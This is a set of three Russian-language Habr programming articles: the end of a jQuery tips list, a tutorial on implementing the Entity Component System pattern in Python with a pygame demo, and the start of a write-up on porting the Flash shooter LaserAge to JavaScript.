> menuItem.data('collapsed', false);
> panel.slideDown();
> }
> else {
> menuItem.data('collapsed', true);
> panel.slideUp();
> }
> });
>
> ````
Я уверен, вы согласитесь, что это куда более кошерно :) Для дополнительной информации по data() и removeData(), смотрите эту страницу про [jQuery internals](http://docs.jquery.com/Internals).
15. Пишите собственные селекторы
--------------------------------
jQuery содержит массу встроенных селекторов для выборки элементов по id, классу, тегу, атрибуту и многому другому. Но что делать, когда необходимо выбрать элементы по какому-либо другому критерию и у jQuery нет подходящего инструмента?
Ну ладно, первое же, что приходит в голову — добавить классы к элементам вначале, а затем будем использовать их для выборки, но, на самом деле, написать новый селектор для jQuery — не такая уж и проблема.
До сих пор, лучший способ продемонстрировать это — пример:
> ````
>
> $.extend($.expr[':'], {
> over100pixels: function(a) {
> return $(a).height() > 100;
> }
> });
>
> $('.box:over100pixels').click(function() {
> alert('Элемент, который вы потревожили своим кликом, в высоту более 100 пикселов');
> });
>
> ````
Первый блок кода создает собственный селектор, который ищет все элементы, которые выше 100 пикселов. Второй блок просто использует первый для назначения обработчиков для всех этих элементов.
Я не буду здесь еще более детально рассматривать все это, но вы уже можете представить, насколько суперкрут такой инструмент и если порыскать в Гугле на тему «custom jquery selector», можно найти много интересного.
16. Подготавливайте HTML и модифицируйте его, когда страница загружена
----------------------------------------------------------------------
Заголовок может быть не столь понятен, но этот совет потенциально улучшит ваш ~~ужасный~~ код, уменьшит его вес и время загрузки, а кроме прочего, поможет ~~напихать в страницу побольше ключевых слов~~ с SEO. Возьмем вот такой вот HTML в качестве примера:
> ````
>
>
>
> Это поле номер 1
>
>
> 
> Это сообщение об ошибке
>
>
>
>
> Это поле номер 2
>
>
> 
> Это сообщение об ошибке
>
>
>
> ````
Это пример того, какой может быть разметка формы, слегка модифицированная, чтобы проиллюстрировать наши задачи. Я уверен, вы согласитесь, что этот код ужасен и если у вас большая форма — вы закончите с неприлично длинной и, мягко говоря, некрасивой страничкой. Куда лучше было бы иметь что-то вроде этого в HTML:
> ````
>
> Это поле 1
> Это поле 2
> Это поле 3
> Это поле 4
> Это поле 5
>
> ````
Все, что здесь нужно — немножко уличной магии jQuery, чтобы вернуть тот самый некрасивый HTML. Смотрим:
> ````
>
> $(document).ready(function() {
> $('.field').before('');
> $('.field').after('
> 
> Это сообщение об ошибке');
> });
>
> ````
Конечно, не всегда рекомендуется делать так, все зависит от конкретного случая, но когда нужно получить много повторяющегося HTML-я, это может существенно снизить вес страницы и вообще оптимизировать ее и привести в порядок.
17. Используйте «отложенную загрузку» (lazy loading) для определенного контента для выигрыша в общей скорости и преимуществ для SEO
-----------------------------------------------------------------------------------------------------------------------------------
Еще один способ увеличить скорость загрузки страницы и очистить HTML, который просматривают поисковые роботы — это использовать так называемый «lazy loading» или говоря ~~по-чукотски~~ по-простому — отложенную загрузку целых частей, используя AJAX-запрос после того, как страница уже загружена. Пользователи смогут немедленно увидеть информацию, а поисковики — им и подавно, только информация и нужна.
Мы использовали эту технику на нашем собственном сайте. Те фиолетовые кнопочки наверху страницы подгружают 3 формы, направления и карту Google, которые увеличили бы изначальный вес страницы вдвое. Так что мы просто поместили весь HTML в статичную страницу и использовали функцию load(), чтобы загрузить все это уже после полной загрузки документа. Делается вот так:
> ````
>
> $('#forms').load('content/headerForms.html', function() {
> // Этот код выполнится после загрузки статичного контента
> // Сюда помещаем всякого рода обработчики и т. д.
> });
>
> ````
Я не стал бы использовать это везде и всегда. Вы всегда должны оценить ситуацию и возможные проблемы, связанные с такой загрузкой. Ведь, как бы там ни было, вы создаете лишние обращения к серверу и именно нужные части страницы могут быть недоступны пользователю в какой-то момент, но при использовании с умом это может быть отличным методом оптимизации.
18. Используйте служебные функции jQuery
----------------------------------------
jQuery — это не только ослепительные эффекты. Создатель наделил его некоторыми действительно полезными методами, которые могут восполнить пробелы в репертуаре JavaScript:
[jQuery utilities](http://docs.jquery.com/Utilities)
В частности, кросс-браузерная поддержка общих функций для работы с массивами (в IE7 нет даже метода indexOf()!). jQuery содержит методы для итерации, фильтрации, клонированию, соединению и удалению дубликатов из массивов.
К другим труднореализуемым вещам в JavaScript относится, к примеру, задача, где нужно получить выбранный элемент из выпадающего списка. В старом добром JavaScript нам пришлось бы получить элемент «select», используя getElementById, получить дочерние элементы как массив и «пробежаться» по ним в итерации, проверяя каждый, был он выбран или нет. jQuery упрощает подобные дела:
> ````
>
> $('#selectList').val();
>
> ````
Это действительно заслуживает некоторого времени, проведенного в изучении документации jQuery на официальном сайте и в углублении в некоторые менее документированные возможности.
19. Используйте «noconflict» для переименования глобального объекта «jquery», когда используете его с другими фреймворками
--------------------------------------------------------------------------------------------------------------------------
Многие JavaScript-фреймворки используют символ "$" в качестве краткой записи и это может может вызвать непредсказуемый результат при попытке использования нескольких библиотек сразу, на одной страничке. К счастью, есть простое решение. Функция .noconflict() обеспечивает контроль "$" и дает возможность задать собственное имя переменной, например
> ````
>
> var $jabrajabr = jQuery.noConflict();
> $jabrajabr('#myDiv').hide();
>
> ````
20. Как узнать что картинки загружены?
--------------------------------------
Это еще одна из проблем, решение которой не так хорошо документировано, как хотелось бы и при этом достаточно распространена (в случаях разработки фото-галерей, «каруселей» и т. д.). Тем не менее, все просто.
Все, что нужно — использовать метод .load() на элементе «img» и вызвать в нем (методе) callback-функцию. Следующие примеры заменяют значение атрибута «src» у картинки для подгрузки новых изображений и присоединяют простую функцию загрузки:
> ````
>
> $('#myImage').attr('src', 'image.jpg').load(function() {
> alert('Картинка загружена');
> });
>
> ````
Можете проверить, alert будет вызван, когда картинка загрузится.
21. Всегда используйте последнюю версию
---------------------------------------
jQuery постоянно развивается и John Resig, его создатель, день и ночь в поисках путей улучшения производительности.
jQuery сейчас *(на момент написания статьи — прим. пер.)* в версии 1.2.6, но Джон уже раскрыл, что он работает над новым движком выборки — Sizzle, который увеличит скорость выборки, к примеру, в Firefox, в 4 раза. Так что, чем свежее — тем лучше.
22. Как проверить, что элемент существует?
------------------------------------------
Вам не нужно проверять, существует ли элемент на странице, до произведения манипуляций с ним, так как jQuery просто ничего не будет делать, если вы пытаетесь выбрать что-то, чего нет в DOM. Но когда вам нужно-таки проверить, было ли что-то выбрано, или как много элементов выбрано, можно использовать свойство length:
> ````
>
> if ($('#myDiv).length) {
> // your code
> }
>
> ````
Просто, но недостаточно очевидно.
23. Добавляйте класс «JS» в элемент «html»
------------------------------------------
Я узнал эту фишку от товарища Karl'а Swedberg'а, по чьим [замечательным](http://www.amazon.co.uk/Learning-JQuery-Interaction-Development-Javascript/dp/1847192505/ref=sr_1_1?ie=UTF8&s=books&qid=1229284831&sr=8-1) [книгам](http://www.amazon.co.uk/JQuery-Reference-Guide-Karl-Swedberg/dp/1847193811/ref=sr_1_3?ie=UTF8&s=books&qid=1229284831&sr=8-3) я изучал jQuery.
Недавно на одну из моих предыдущих статей он оставил комментарий об этом приеме и суть в следующем…
В первую очередь, как только jQuery загрузится, мы используем его для добавления
класса «JS» к тегу «html»:
> ````
>
> $('HTML').addClass('JS');
>
> ````
Поскольку, это случится, только когда JavaScript включен, вы можете использовать его для добавления CSS-стилей, которые работают только тогда, когда JavaScript работает:
> ````
>
> .JS #myDiv{display:none;}
>
> ````
Это означает, что мы можем спрятать контент, когда JavaScript включен и затем использовать jQuery для того, чтобы показать его, когда необходимо (например, свернув некоторые панели и разворачивать их только по нажатию пользователем), в то время как те, у кого JavaScript отдыхает (включая поисковых роботов), увидят весь контент, поскольку он не скрыт. Я сам буду активно использовать это в будущем.
Можете прочитать его полную статью [здесь](http://www.learningjquery.com/2008/10/1-awesome-way-to-avoid-the-not-so-excellent-flash-of-amazing-unstyled-content).
24. Возвращайте «false» для отмены поведения по-умолчанию
---------------------------------------------------------
Это может быть очевидно, а может быть и нет. Если у вас есть привычка делать так:
> ````
>
> [Нажми меня, злодей!](#)
>
> ````
… а затем назначать обработчик события вот таким вот образом:
> ````
>
> $('.popup').click(function(){
> // Код запуска popup'а
> });
>
> ````
… то возможно это будет нормально работать, но ровно до тех пор, пока страничка не станет длиннее, чем ожидалось изначально. В таком случае, вы увидите, как после каждого нажатия на ссылку, страничка «прыгает» в самое начало (знак #).
Все, что нужно — отменить стандартное поведение ссылки, впрочем, как и любого другого элемента. Для этого нужно добавить «return false;» в свой обработчик, например:
> ````
>
> $('.popup').click(function(){
> // Код запуска popup'а
> return false;
> });
>
> ````
25. Короткая запись для события готовности документа
----------------------------------------------------
Маленький прием, который поможет сэкономить несколько символов, если использовать сокращение функции $(document).ready.
Вместо этого:
> ````
>
> $(document).ready(function (){
> // Ваш код
> });
>
> ````
можно сделать вот так:
> ````
>
> $(function (){
> // Ваш код
> });
>
> ````
*На этом эпическая коллекция приемов в jQuery от товарища [Jon Hobbs-Smith'а](http://www.tvidesign.co.uk/meetTeam.aspx#JonHobbs-Smith) заканчивается. Надеюсь, вам удалось почерпнуть для себя что-нибудь новое.*
**Update.** Спасибо хабраюзеру [NemeZZiZZ](https://habrahabr.ru/users/nemezzizz/) за то, что справедливо обозвал «unordered list» маркированным списком (я перевел это как «неупорядоченный список», что, конечно, дословно, но определенно отдает чем-то чукотским).
**Update 2.** Спасибо хабраюзеру [david\_mz](https://habrahabr.ru/users/david_mz/) за указание на новые особенности jQuery, начиная с версии 1.3, которые касаются назначения и делегирования событий (см. п. 12). | https://habr.com/ru/post/52201/ | null | ru | null |
# Реализация и применение Entity Component System на примере python
Немного теории
--------------
Entity Component System (ECS) - это паттерн, используемый при разработке видеоигр, для хранения игровых объектов.
### Компоненты (Components)
Все характеристики объектов находятся в минимальных структурах данных - компонентах, хранящих схожие смысловые величины. Например здоровье может являться компонентом, в котором будет храниться его максимальное и текущее значения.
Хорошей практикой является создание наиболее ёмких смысловых компонентов. Никому не нужны раздутые компоненты, которые можно использовать для крайне малого числа сущностей.
### Сущности (Entity)
Сами же игровые объекты (сущности) являются ни чем иным как совокупностью различных компонентов.
Ничего кроме id сущность не имеет, однако по этому id можно получить соответствующие компоненты.
В зависимости от компонентов из которых составлены сущности, они могут быть самыми различными объектами, от стрелы до мишени и многого другого. Добавив или убрав компонент можно значительно изменить поведение сущности.
### Системы (Systems)
Вот у нас уже есть данные, но они никак не взаимодействуют друг с другом. Для этого и предназначены системы.
Система - набор правил, влияющий на данные компонентов. Системы поочерёдно проходятся по каждому из зависимых компонентов, изменяя их.
При этом каждая система независима от друг друга, и не влияет на компоненты которые к ней не относятся.
Так, создав сущность с несколькими компонентами (например здоровье и координаты), на неё могут влиять две системы (регенерация и передвижение соответственно).
При этом, системы могут быть безболезненно отключены. Убрав систему систему смерти, сущности не будут исчезать и с нулевым здоровьем, при этом всё остальное продолжит работать как прежде.
### Преимущества
#### Производительность
За счёт плоской структуры компонентов открываются широкие возможности оптимизации работы с памятью. Например в python можно использовать слоты для объектов, а в более низкоуровневых языках - эффективнее занимать блоки памяти под целые массивы компонентов.
#### Расширяемость
Так как каждая система независима, можно легко добавлять новые системы, не ломая старые.
#### Гибкость
Функционал объекта может быть изменён простым изменением состава компонентов.
Система может быть выключена и это не сломает работу остальных систем.
Пример реализации
-----------------
В данной статье хочу сконцентрироваться именно на использовании ECS, а не на реализации этого паттерна. Поэтому исходники класса EntityComponentSystem представлены в спойлерах. При желании можете подробнее изучить исходный код, он снабжён достаточным для понимания количеством комментариев.
ecs\_types.py
```
from dataclasses import dataclass
from typing import Any, Type
EntityId = str
Component = object
@dataclass
class StoredSystem:
variables: dict[str, Any]
components: dict[str, Type[Component]] # key is argument name
has_entity_id_argument: bool
has_ecs_argument: bool
```
unique\_id.py
```
# Класс простенький, можно спокойно заменить на uuid
class UniqueIdGenerator:
last_id = 0
@classmethod
def generate_id(cls) -> str:
cls.last_id += 1
return str(cls.last_id)
```
entity\_component\_system.py
```
import inspect
from typing import Callable, Type, Any, Iterator
from ecs_types import EntityId, Component, StoredSystem
from unique_id import UniqueIdGenerator
class EntityComponentSystem:
def __init__(self, on_create: Callable[[EntityId, list[Component]], None] = None,
on_remove: Callable[[EntityId], None] = None):
"""
:param on_create:
Хук, отрабатывающий при создании сущности,
например может пригодиться, если сервер сообщает клиентам о появлении новых сущностей
:param on_remove:
Хук, отрабатывающий перед удалением сущности
"""
# Здесь хранятся все системы вместе с полученными от них сигнатурами
self._systems: dict[Callable, StoredSystem] = {}
# По типу компонента хранятся словари, содержащие сами компоненты по ключам entity_id
self._components: dict[Type[Component], dict[EntityId, Component]] = {}
self._entities: list[EntityId] = []
self._vars = {}
self.on_create = on_create
self.on_remove = on_remove
def _unsafe_get_component(self, entity_id: EntityId, component_class: Type[Component]) -> Component:
"""
Возвращает компонент сущности с типом переданного класса component_class
Кидает KeyError если сущность не существует или не имеет такого компонента
"""
return self._components[component_class][entity_id]
def init_component(self, component_class: Type[Component]) -> None:
"""
Инициализация класса компонента. Следует вызвать до создания сущностей
"""
self._components[component_class] = {}
def add_variable(self, variable_name: str, variable_value: Any) -> None:
"""
Инициализация переменной. Далее может быть запрошена любой системой.
"""
self._vars[variable_name] = variable_value
def init_system(self, system: Callable):
"""
Инициализация системы. Если система зависит от внешней переменной - передайте её в add_variable до инициализации.
Внешние переменные и специальные аргументы (ecs: EntityComponentSystem и entity_id: EntityId) запрашиваются
через указание имени аргумента в функции системы.
Запрашиваемые компоненты указываются через указание типа аргумента (например dummy_health: HealthComponent).
Название аргумента в таком случае может быть названо как угодно.
Запрашиваемый компонент должен быть инициализирован до инициализации системы
"""
stored_system = StoredSystem(
components={},
variables={},
has_entity_id_argument=False,
has_ecs_argument=False
)
# Через сигнатуру функции системы узнаем какие данные и компоненты она запрашивает.
# Сохраним в StoredSystem чтобы не перепроверять сигнатуру каждый кадр.
system_params = inspect.signature(system).parameters
for param_name, param in system_params.items():
if param_name == 'entity_id': # Система может требовать конкретный entity_id для переданных компонентов
stored_system.has_entity_id_argument = True
elif param_name == 'ecs': # Системе может потребоваться ссылка на ecs. Например, для удаления сущностей
stored_system.has_ecs_argument = True
elif param.annotation in self._components:
stored_system.components[param_name] = param.annotation
elif param_name in self._vars:
stored_system.variables[param_name] = self._vars[param_name]
else:
raise Exception(f'Wrong argument: {param_name}')
self._systems[system] = stored_system
def create_entity(self, components: list[Component], entity_id=None) -> EntityId:
"""
Создание сущности на основе списка его компонентов
Можно задавать свой entity_id но он обязан быть уникальным
"""
if entity_id is None:
entity_id = UniqueIdGenerator.generate_id()
else:
assert entity_id not in self._entities, f"Entity with id {entity_id} already exists"
for component in components:
self._components[component.__class__][entity_id] = component
self._entities.append(entity_id)
if self.on_create:
self.on_create(entity_id, components)
return entity_id
def get_entity_ids_with_components(self, *component_classes) -> set[EntityId]:
"""
Получить все entity_id у которых есть каждый из компонентов, указанных в component_classes
"""
if not component_classes:
return set(self._entities)
# Если запрошено несколько компонентов - то следует вернуть сущности, обладающие каждым из них
# Это достигается пересечением множеств entity_id по классу компонента
entities = set.intersection(*[set(self._components[component_class].keys())
for component_class in component_classes])
return entities
def get_entities_with_components(self, *component_classes) -> Iterator[tuple[EntityId, list[Component]]]:
"""
Получить все entity_id вместе с указанными компонентами
"""
for entity_id in self.get_entity_ids_with_components(*component_classes):
components = tuple(self._unsafe_get_component(entity_id, component_class)
for component_class in component_classes)
yield entity_id, components
def update(self) -> None:
"""
Вызывает все системы.
Следует вызывать в игровом цикле.
"""
for system_function, system in self._systems.items():
for entity_id in self.get_entity_ids_with_components(*system.components.values()):
special_args = {}
if system.has_ecs_argument:
special_args['ecs'] = self
if system.has_entity_id_argument:
special_args['entity_id'] = entity_id
# Сделано для того чтобы в системе можно было указывать любые имена для запрашиваемых компонентов
required_components_arguments = {param: self._unsafe_get_component(entity_id, component_name) for
param, component_name in
system.components.items()}
system_function(**(required_components_arguments | system.variables | special_args))
def remove_entity(self, entity_id: EntityId):
"""
Удаляет сущность
"""
if self.on_remove is not None:
self.on_remove(entity_id)
for components in self._components.values():
components.pop(entity_id, None)
self._entities.remove(entity_id)
def get_component(self, entity_id: EntityId, component_class: Type[Component]):
"""
:return
Возвращает компонент сущности с типом переданного класса component_class
Возвращает None если сущность не существует или не имеет такого компонента
"""
return self._components[component_class].get(entity_id, None)
def get_components(self, entity_id: EntityId, component_classes):
"""
:return
Возвращает требуемые компоненты сущности.
Возвращает None если сущность не существует или не имеет всех этих компонентов
"""
try:
return tuple(self._unsafe_get_component(entity_id, component_class)
for component_class in component_classes)
except KeyError:
return None
```
Если вы собираетесь пользоваться моими исходниками - рекомендую добавить файл с аннотациями типов для удобной работы.
entity\_component\_system.pyi
```
from typing import Protocol, Type, TypeVar, overload, Callable, Any, Iterator
from ecs_types import EntityId, Component, StoredSystem
Component1 = TypeVar('Component1')
Component2 = TypeVar('Component2')
Component3 = TypeVar('Component3')
Component4 = TypeVar('Component4')
class EntityComponentSystem(Protocol):
_systems: dict[Callable, StoredSystem]
_components: dict[Type[Component], dict[EntityId, Component]]
_entities: list[EntityId]
_vars: dict[str, Any]
on_create: Callable[[EntityId, list[Component]], None]
on_remove: Callable[[EntityId], None]
def __init__(self, on_create: Callable[[EntityId, list[Component]], None] = None,
on_remove: Callable[[EntityId], None] = None): ...
@overload
def _unsafe_get_component(self, entity_id: str, component_class: Type[Component1]) -> Component1: ...
@overload
def init_component(self, component_class: Type[Component1]) -> None: ...
@overload
def init_system(self, system: Callable): ...
@overload
def add_variable(self, variable_name: str, variable_value: Any) -> None: ...
@overload
def create_entity(self, components: list[Component1], entity_id=None) -> EntityId: ...
@overload
def get_entity_ids_with_components(self, class1: Type[Component1]) -> set[EntityId]: ...
@overload
def get_entity_ids_with_components(self, class1: Type[Component1], class2: Type[Component2]) -> set[EntityId]: ...
@overload
def get_entity_ids_with_components(self, class1: Type[Component1], class2: Type[Component2], class3: Type[Component3]) -> set[EntityId]: ...
@overload
def get_entity_ids_with_components(self, class1: Type[Component1], class2: Type[Component2], class3: Type[Component3], class4: Type[Component4]) -> set[EntityId]: ...
@overload
def get_entities_with_components(self, class1: Type[Component1]) -> Iterator[tuple[
EntityId, tuple[Component1]]]: ...
@overload
def get_entities_with_components(self, class1: Type[Component1], class2: Type[Component2]) -> Iterator[
tuple[
EntityId, tuple[Component1, Component2]]]: ...
@overload
def get_entities_with_components(self, class1: Type[Component1], class2: Type[Component2], class3: Type[Component3]) -> \
Iterator[tuple[EntityId, tuple[Component1, Component2, Component3]]]: ...
@overload
def get_entities_with_components(self, class1: Type[Component1], class2: Type[Component2], class3: Type[Component3], class4: Type[Component4]) -> Iterator[tuple[
EntityId, tuple[Component1, Component2, Component3, Component4]]]: ...
def update(self) -> None: ...
def remove_entity(self, entity_id: EntityId): ...
def get_component(self, entity_id: EntityId, component_class: Type[Component1]) -> Component1: ...
@overload
def get_components(self, entity_id: EntityId,
component_classes: tuple[Type[Component1]]) -> tuple[Component1]: ...
@overload
def get_components(self, entity_id: EntityId,
component_classes: tuple[Type[Component1], Type[Component2]]) -> tuple[
Component1, Component2]: ...
@overload
def get_components(self, entity_id: EntityId,
component_classes: tuple[Type[Component1], Type[Component2], Type[Component3]]) -> tuple[
Component1, Component2, Component3]: ...
```
Пример использования
--------------------
Давайте посмотрим, как с помощью ECS можно описать простую стрелу, врезающуюся в мишень.
Начнём с импортов:
```
from entity_component_system import EntityComponentSystem
from ecs_types import EntityId
from dataclasses import dataclass, field
import math
```
Будем описывать наши компоненты через [датаклассы](https://docs.python.org/3/library/dataclasses.html). Ведь в python это наиболее удобный способ описать такие простые объекты.
Во-первых у стрелы должны быть координаты и размеры:
```
@dataclass(slots=True)
class ColliderComponent:
x: float
y: float
radius: float
def distance(self, other: 'ColliderComponent'):
return math.sqrt((self.x - other.x) ** 2 + (self.y - other.y) ** 2)
def is_intersecting(self, other: 'ColliderComponent'):
return self.distance(other) <= self.radius + other.radius
```
Во-вторых нашей стреле необходима скорость с которой она будет двигаться:
```
@dataclass(slots=True)
class VelocityComponent:
speed_x: float = 0.0
speed_y: float = 0.0
```
Ещё не забудем указать что она пропадает при контакте, нанося урон:
```
@dataclass(slots=True)
class DamageOnContactComponent:
damage: int
die_on_contact: bool = True
```
Теперь у нас достаточно компонентов чтобы составить из них стрелу. Укажем как можно её собрать, зная необходимые характеристики:
```
def create_arrow(x: float, y: float, angle: int, speed: float, damage: int):
arrow_radius = 15
return [
ColliderComponent(x, y, arrow_radius),
# Вектор скорости вычисляется на основе величины скорости и угла под которым пустили стрелу.
VelocityComponent(
speed_x=math.cos(math.radians(angle)) * speed,
speed_y=math.sin(math.radians(angle)) * speed
),
DamageOnContactComponent(damage)
]
```
Перейдём к мишени. Для её создания не хватает компонента здоровья. Опишем его:
```
@dataclass(slots=True)
class HealthComponent:
max_amount: int
amount: int = field(default=None)
def __post_init__(self):
if self.amount is None:
self.amount = self.max_amount
def apply_damage(self, damage: int):
self.amount = max(0, self.amount - damage)
```
Создадим же фабрику мишеней:
```
def create_dummy(x: float, y: float, health: int):
dummy_radius = 50
return [
ColliderComponent(x, y, dummy_radius),
HealthComponent(
max_amount=health,
)
]
```
Вот мы и подготовили всё данные сущностей и компонентов. Опишем, что с ними надо делать.
Заставим нашу стрелу двигаться. Для этого напишем систему, перемещающую объекты у которых есть скорость:
```
def velocity_system(velocity: VelocityComponent, collider: ColliderComponent):
collider.x += velocity.speed_x
collider.y += velocity.speed_y
```
Теперь наша стрела может летать. Скажем, что она должна делать при соприкосновении с мишенью:
```
def damage_on_contact_system(entity_id: EntityId,
# Запрашиваем EntityComponentSystem для удаления стрелы при попадании
ecs: EntityComponentSystem,
damage_on_contact: DamageOnContactComponent,
collider: ColliderComponent):
# Проходимся по всем компонентам с координатами и здоровьем
for enemy_id, (enemy_health, enemy_collider) in ecs.get_entities_with_components(HealthComponent,
ColliderComponent):
# Пусть стрела и не обладает здоровьем, но эта проверка нужна на тот случай если компонент окажется на сущности где оно есть
if entity_id == enemy_id:
continue
if collider.is_intersecting(enemy_collider):
enemy_health.apply_damage(damage_on_contact.damage)
if damage_on_contact.die_on_contact:
ecs.remove_entity(entity_id)
return
```
Будем уничтожать сущности, здоровье которых упало до нуля:
```
def death_system(entity_id: EntityId, health: HealthComponent, ecs: EntityComponentSystem):
if health.amount <= 0:
ecs.remove_entity(entity_id)
```
Наконец все сущности, компоненты и системы описаны, осталось только убедиться что всё будет работать вместе.
Для начала инициализируем все компоненты и системы:
```
ecs = EntityComponentSystem()
ecs.init_component(ColliderComponent)
ecs.init_component(VelocityComponent)
ecs.init_component(DamageOnContactComponent)
ecs.init_component(HealthComponent)
ecs.init_system(velocity_system)
ecs.init_system(damage_on_contact_system)
ecs.init_system(death_system)
```
Теперь создадим мишень и стрелы, которые её уничтожат:
```
ecs.create_entity(create_arrow(x=0, y=0, angle=45, speed=2, damage=50))
ecs.create_entity(create_arrow(x=500, y=0, angle=135, speed=1.5, damage=50))
ecs.create_entity(create_arrow(x=0, y=500, angle=-45, speed=1.1, damage=50))
ecs.create_entity(create_arrow(x=500, y=500, angle=-135, speed=1, damage=50))
ecs.create_entity(create_dummy(x=250, y=250, health=200))
```
Для наглядной демонстрации результата используем [pygame](https://www.pygame.org/) (на момент написания документация доступна только через [веб архив](https://web.archive.org/web/*/https://www.pygame.org/)):
```
import pygame
from pygame import Color
from pygame.time import Clock
screen = pygame.display.set_mode((500, 500))
running = True
clock = Clock()
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
ecs.update()
screen.fill((93, 161, 48))
for entity_id, (collider,) in ecs.get_entities_with_components(ColliderComponent):
pygame.draw.circle(screen, Color('gray'), (collider.x, collider.y), collider.radius)
pygame.display.flip()
clock.tick(60)
```
Заключение
----------
Весь исходный код, представленный в статье собран в [гисте](https://gist.github.com/RustyGuard/1de7d9925f755d105df8ed53bb9c9bfe).
Реализация этого паттерна использована мной при создании онлайн стратегии в реальном времени на pygame. Если эта статья вам понравится, то я напишу статью, описывающую её работу.
За помощь в написании спасибо [@AlexandrovRoman](/users/alexandrovroman) | https://habr.com/ru/post/702598/ | null | ru | null |
# Портируем старую игру в жанре «shoot 'em up» на JavaScript на коленке
Имеется древняя игрушка LaserAge, которая написана на Flash (на очень древнем Macromedia Flash 4) и работает только под Windows. В детстве она мне очень понравилась, поэтому я решил для души портировать её, чтобы можно было играть с браузера со всех устройств.
Цель игры заключается в том, чтобы уничтожать противников своим космическим кораблём на различных уровнях и получать бонусы, если поймать бонус — улучшается оружие. При попадании торпеды противника — даунгрейд оружия игрока.
При уничтожении всех противников на уровне происходит переключение на следующий уровень. Всего 100 уровней.
В терминах игры уровень — волна (Wave), а несколько волн объединены в большой уровень (Level), который представляет из себя просто смену заднего фона, т.е. всего 4 больших уровня в каждом из которых 25 волн. В последней волне большого уровня обычно бывает босс — противник с огромным значением жизни и мощным оружием.
Бизнес логика игры
------------------
### Игровое пространство
Представляет из себя обычную прямоугольную область, в верхней части располагаются корабли противника, а снизу игрок.
Область движения игрока ограничена так, что он не может сталкиваться с кораблями противника, а корабли противника с игроком.
### Оружие
Оружием обладает космический корабль игрока и корабли противника.
Оружие игрока может быть ручным (стреляет при нажатии мыши) и дополнительное автоматическое (стреляет периодами).
Оружие стреляет торпедами, алгоритм движения которых очень примитивный: торпеды противника движутся на игрока (сверху вниз), а торпеды игрока движутся снизу вверх.
При попадании торпеды противника в игрока вычитается 1 уровень жизни (апгрейда), при 0 игра завершается поражением.
#### Оружие космического корабля игрока
* Торпеда — стреляет маленькими ракетами
+ Одинарная Торпеда — 1 уровень апгрейда
+ Двойная — 2 уровень апгрейда
+ Тройная — 3 уровень апгрейда
* Автоматические пушки
+ Дополнительная автоматическая Торпеда слева корабля — 4 уровень апгрейда
+ Дополнительная автоматическая Торпеда справа корабля — 5 уровень апгрейда
* Зелёная плазма — 6 и 7 уровень апгрейда (увеличивается скорострельность)
* Фиолетовая плазма — 8 уровень апгрейда (наносит урон всем противникам по траектории полёта)
* Зелёный лазер — 9 уровень (наносит урон всем противникам, а также активно одну секунду, тем самым можно задеть соседних противников)
Дополнительное оружие:
* Красная плазма — 15-19 уровень (наносит урон всем противникам, а также активно одну секунду, тем самым можно задеть соседних противников)
* Зелёная плазма — 20-24 уровень
* Синяя плазма — 25-29 уровень апгрейда
* Фиолетовая плазма — 30-34 уровень апгрейда
* Фиолетовая плазма — 30-34 уровень апгрейда
* Дополнительная автоматическая Торпеда слева стреляет желтой плазмой — 35 — 39 уровень апгрейда
* Дополнительная автоматическая Торпеда справа стреляет желтой плазмой — 40+ уровень апгрейда
Таблица с характеристиками оружия игрока
| Оружие | Hit Points | Скорость спрайта | Интенсивность | Тип | Дополнительно | Вид |
| --- | --- | --- | --- | --- | --- | --- |
| Торпеда | 1 | 5 | 25 | Торпеда | Одинарная, двойная, тройная | |
| Автоматическая Торпеда | 1 | 5 | 50 | Торпеда | Слева и Справа | |
| Зелёная плазма | 3 | 7 | 30 | Торпеда | | |
| Фиолетовая плазма | 2 | 8 | 30 | Торпеда | Атакует до 3х целей | |
| Красная плазма | 2 | 4 | 30 | Торпеда | | |
| Синяя плазма | 4 | 4.5 | 30 | Торпеда | | |
| Жёлтая плазма | 2 | 3.8 | 40 | Торпеда | Только автоматическая | |
| Зелёный Лазер | 4 | - | 15/55 | Лазер | Атакует до 5ти целей одновременно | |
Таблица с конфигурацией оружия игрока в зависимости от уровня жизни
| Уровень жизни | Конфигурация оружия |
| --- | --- |
| 1 | Торпеда |
| 2 | Торпеда + Торпеда |
| 3 | Торпеда + Торпеда + Торпеда |
| 4 | Торпеда + Торпеда + Торпеда + Автоматическая торпеда слева |
| 5 | Торпеда + Торпеда + Торпеда + Автоматическая торпеда слева + справа |
| 6 | Зелёная плазма + Автоматическая торпеда слева + справа |
| 7 | Зелёная плазма + Автоматическая торпеда слева + справа |
| 8 | Фиолетовая плазма + Автоматическая торпеда слева + справа |
| 9 | Зелёный лазер + Автоматическая торпеда слева + справа |
| 15 — 19 | Зелёный лазер + Красная плазма + Автоматическая торпеда слева + справа |
| 20 — 24 | Зелёный лазер + Красная плазма + Автоматическая торпеда слева + справа |
| 25 — 29 | Зелёный лазер + Синяя плазма + Автоматическая торпеда слева + справа |
| 30 — 34 | Зелёный лазер + Фиолетовая плазма + Автоматическая торпеда слева + справа |
| 35 — 39 | Зелёный лазер + Фиолетовая плазма + Автоматическая желтая плазма слева + торпеда справа |
| 40+ | Зелёный лазер + Фиолетовая плазма + Автоматическая желтая плазма слева + желтая плазма справа |
#### Оружие противников
Таблица с конфигурацией оружия противников
| Оружие | Скорость спрайта | Тип |
| --- | --- | --- |
| Торпеда | 2.5 | Торпеда |
| Красная плазма | 3.5 | Торпеда |
| Синяя плазма | 4.5 | Торпеда |
| Зелёная плазма | 5 | Торпеда |
| Синяя Торпеда | 3 | Торпеда |
| Жёлтая плазма | 3.2 — 3.8 | Торпеда |
| Белая плазма | 4 — 6 | Торпеда |
| Зелёный Лазер | - | Лазер |
Для того чтобы исключить предсказуемость поведения оружия игроков, интенсивность имеет псевдослучайный характер.
Интенсивность оружия противников может иметь один и более временных слотов, в каждом отдельно задаётся минимальное и максимальное время фреймов и число повторов. Слот может быть паузой или активным состоянием (стреляет).
Пример конфигурации оружия:
```
"torpedo": {
"sprite": "Bullet1_1.png", //картинка спрайта
"isRandomIntensity": false, //нужно ли переключать случайно слоты - true или по порядку - false
"intensity": [
//слот 0
{
"min": 50, //минимальное число фреймов
"max": 200, //максимальное число фреймов
"type": "pause" //pause - оружие неактивно, shoot - активное (стреляет)
},
//слот 1
{
"min": 100,
"max": 200,
"type": "shoot"
},
{
"min": 50,
"max": 80,
"type": "pause"
},
{
"min": 30,
"max": 100,
"repeat": 2
}
],
"speed": 2.5, //скорость
"type": "bullet", //тип оружия
"sound": "alienTorpedo"
}
```
### Действующие лица
#### Корабль игрока
